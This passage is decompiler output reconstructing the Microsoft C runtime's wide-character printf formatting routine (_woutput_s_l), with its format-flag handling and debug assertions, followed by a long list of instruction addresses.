																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xf2c8ae26
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACE0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041ACE0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
																			__eax = E00433F00();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428360(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E210();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422D00(_t510))) = 0x16;
																E00422A90(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041ACB0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BCB0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E210();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041ACB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422D00(_t502))) = 0x16;
															E00422A90(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041ACB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00430780( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E00430800( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c236
0x0043c236
0x0043c236
0x0043c236
0x0043c236
0x0043c236
0x0043c236
0x0043c23d
0x0043c23d
0x0043c23d
0x0043c253
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c394
0x0043c39a
0x0043c39c
0x0043c3a2
0x0043c3a5
0x0043c3a7
0x0043c3ad
0x0043c3b6
0x0043c3bb
0x0043c3d8
0x0043c3db
0x0043c3db
0x0043c3e0
0x0043c3e5
0x0043c3e5
0x0043c3eb
0x0043c3ed
0x0043c3f3
0x0043c3f9
0x0043c3f9
0x0043c402
0x0043c402
0x0043c3eb
0x0043c408
0x0043c40c
0x0043c41a
0x0043c41d
0x0043c420
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c436
0x0043c436
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c445
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x0043c45e
0x0043c464
0x0043c464
0x0043c46a
0x0043c4e7
0x0043c4ed
0x0043c4f0
0x0043c4f3
0x0043c4f6
0x0043c4f9
0x0043c4ff
0x0043c4ff
0x0043c505
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x0043c53a
0x0043c53d
0x0043c53d
0x0043c540
0x0043c545
0x0043c545
0x0043c54a
0x0043c561
0x0043c561
0x0043c564
0x0043c57b
0x0043c57b
0x0043c57e
0x0043c580
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c593
0x0043c596
0x0043c599
0x0043c5a2
0x0043c5a2
0x0043c5a5
0x0043c5a7
0x0043c5ae
0x0043c5b2
0x0043c5bb
0x0043c5c0
0x0043c5c3
0x0043c5ca
0x0043c5ce
0x0043c5d2
0x0043c5de
0x0043c5e1
0x0043c5e1
0x0043c5e4
0x0043c5e9
0x0043c5e9
0x0043c5ec
0x0043c5ee
0x0043c5f5
0x0043c5f9
0x0043c602
0x0043c607
0x0043c5ec
0x0043c60a
0x0043c60e
0x0043c6c8
0x0043c6c8
0x0043c6cf
0x0043c6d3
0x0043c6d7
0x0043c6db
0x00000000
0x0043c614
0x0043c614
0x0043c614
0x0043c618
0x00000000
0x00000000
0x0043c61e
0x0043c61e
0x0043c621
0x0043c627
0x0043c62a
0x0043c630
0x0043c630
0x0043c630
0x0043c63c
0x0043c63f
0x0043c645
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c649
0x0043c64c
0x0043c652
0x0043c65a
0x0043c65c
0x0043c663
0x0043c66a
0x0043c679
0x0043c67f
0x0043c686
0x0043c694
0x0043c694
0x0043c69b
0x0043c6a7
0x0043c6b5
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6e3
0x0043c6ea
0x0043c6ef
0x0043c6ef
0x0043c6f2
0x0043c6f4
0x0043c6fb
0x0043c708
0x0043c70d
0x0043c6f2
0x0043c6ea
0x0043c710
0x0043c710
0x0043c714
0x0043c718
0x0043c71c
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9f6
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba86
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043bae7
0x0043baea
0x0043bb14
0x0043bb17
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043bafb
0x0043baff
0x0043bb01
